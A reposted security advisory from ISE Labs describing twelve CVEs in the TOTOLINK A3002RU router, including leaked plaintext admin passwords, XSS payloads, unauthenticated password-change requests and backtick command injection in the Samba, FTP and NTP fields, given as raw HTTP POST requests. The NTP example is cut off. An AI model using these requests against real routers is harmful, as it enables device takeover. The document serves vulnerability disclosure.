未加星标

New Vulnerabilities in TOTOLINK A3002RU

字体大小 | |
[前端(javascript) 所属分类 前端(javascript) | 发布者 店小二04 | 时间 2018 | 作者 红领巾 ] 0人收藏点击收藏
New Vulnerabilities in TOTOLINKA3002RU ISE Labs awarded 12 CVEs for research performed on low-costrouter

The TOTOLINK A3002RU is a basic wireless router with largely favorable reviews. As part of ISE Labs ongoing research into the current state of security in IoT and embedded devices, we examined the A3002RU.

It turns out this device is seriously lacking in security, so much so that it’s even missing a robust authentication mechanism for the administrative web application. During the course of our review, we even permanently bricked the A3002RU after a command injection payload.

The TOTOLINK’s web application nominally requires authentication ― a user must sign in with the proper username and password ― but the server doesn’t send session tokens. Effectively, as long as someone has signed in recently (approximately 5 minutes), any request sent to the router will be considered authenticated. Even this behavior is not always true, as some requests may be sent at any time.

Authentication issues aside, many of the user input forms in the web application are vulnerable to cross-site scripting, command injection, or both.

With that being said, here are our findings affecting version 1.0.8:


New Vulnerabilities in TOTOLINK A3002RU
Admin Password returned in password.htm (CVE-2018 13313)

The router provides a page that allows the user to change their account name and password. This page, password.htm , contains javascript which is used to confirm the user knows their current password before allowing them to change their password. However, this JavaScript contains the current user’s password in plaintext.

A truncated password.htm is shown below. The admin password is shown in the orgpassword variable.

<html> <head> <meta http-equiv='Content-Type' content='text/html;charset=utf-8'> <SCRIPT language=Javascript src='language_en.js'></SCRIPT> <meta http-equiv='Pragma' content='no-cache'> <meta HTTP-equiv='Cache-Control' content='no-cache'> <meta HTTP-EQUIV='Expires' CONTENT='Mon, 01 Jan 1990 00:00:01 GMT'> <title>TOTOLINK</title> <link href='/style.css' rel='stylesheet' type='text/css'> <script type='text/javascript' src='util_gw.js'></script> <script src='jquery.min.js'></script> <style>table.easy_wth,fieldset,.hr_easy,TABLE,TABLE.vlan_wth,table.stus_wth,.hr_styleset,.divcss5,hr{width:800px;}</style> <SCRIPT> function includeSpace(str) { for (var i=0; i<str.length; i++) { if ( str.charAt(i) == ' ' ) { return true; } } return false; } function saveChanges() { var orgusername='admin'; var orgpassword='admin'; Cross-site Scripting in notice_gen.htm (CVE-2018 13312)

By setting the “Input your notice URL“ field to be a cross-site scripting payload, attackers can execute arbitrary JavaScript. The following is an example payload:

‘><script>alert(64)</script>

Cross-site Scripting in notice_gen.htm (CVE-2018 13308)

By setting the “User phrases button” field to be a cross-site scripting payload, attackers can execute arbitrary JavaScript. The following is an example payload:

‘><script>alert(64)</script>

Cross-site Scripting in password.htm (CVE-2018 13309)

By setting the user’s password to something similar to:

‘; console.log(“ise”);’

arbitrary JavaScript can be executed when the user attempts to change their password on password.htm .

Cross-site Scripting in password.htm (CVE-2018 13310)

By setting the user’s username to something similar to:

‘; console.log(“ise”);’

arbitrary JavaScript can be executed when the user attempts to change their username on password.htm .

Missing Server-side Validation of Current Password During Password Change (CVE-2018 13315)

When a user changes their password, their current password is validated via client-side JavaScript, but is not verified by the server. Because there are no authentication tokens, an attacker can make a request similar to the following to change the user account password:

POST /boafrm/formPasswordSetup HTTP/1.1 Host: 192.168.1.64 User-Agent: Mozilla/5.0 (X11; Fedora; linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.64/password.htm Content-Type: application/x-www-form-urlencoded Content-Length: 146 Connection: close Upgrade-Insecure-Requests: 1 passwdType=1&Cusername=admin&Cpassword=&username=admin&newpass=ise&confpass=ise&submit-url=%2Fstatus.htm&submit-url-ssh=%2Fpassword.htm&save=Apply Command Injection via Samba Username (CVE-2018 13311)

By including ` in the Samba username, arbitrary system commands can be executed. The following is an example which creates a file in /tmp :

POST /boafrm/formDlna HTTP/1.1 Host: 192.168.1.64User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.64/usbshare.htm Content-Type: application/x-www-form-urlencoded Content-Length: 218 Connection: close Upgrade-Insecure-Requests: 1 dlnaEnabled=ON&sambaEnabled=ON&sambaType=1&sambaUser=sambashare%60echo%20%22ise%22%20%3E%20%2Ftmp%2Fisefile%60&sambaPassword=hello&ftpEnabled=ON&ftpUser=ftpshare&ftpPassword=hello&submit-url=%2Fusbshare.htm&apply=Apply Command Injection via FTP Username (CVE-2018 13306)

By including ` in the FTP username, arbitrary system commands can be executed. The following is an example which creates a file in /tmp :

POST /boafrm/formDlna HTTP/1.1 Host: 192.168.1.64 User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.64/usbshare.htm Content-Type: application/x-www-form-urlencoded Content-Length: 218 Connection: close Upgrade-Insecure-Requests: 1 dlnaEnabled=ON&sambaEnabled=ON&sambaType=1&sambaUser=sambashare&sambaPassword=hello&ftpEnabled=ON&ftpUser=ftpshare%60echo%20%22ise%22%20%3E%20%2Ftmp%2Fisefile%60&ftpPassword=hello&submit-url=%2Fusbshare.htm&apply=Apply Command Injection via NTP Server IP Address (CVE-2018 13307)

By including ` in the NTP Server IP address, arbitrary commands may be executed. The following example creates a file in /tmp :

POST /boafrm/formNtp HTTP/1.1 Host: 192.168.2.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.2.1/ntp.htm Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cookie: stay_login=0; id=ojpbJkLhWAE6s1750P4N313200 Connection: close Upgrade-Insecure-Requests: 1

本文前端(javascript)相关术语:javascript是什么意思 javascript下载 javascript权威指南 javascript基础教程 javascript 正则表达式 javascript设计模式 javascript高级程序设计 精通javascript javascript教程

代码区博客精选文章
分页:12
转载请注明
本文标题:New Vulnerabilities in TOTOLINK A3002RU
本站链接:https://www.codesec.net/view/611046.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 前端(javascript) | 评论(0) | 阅读(122)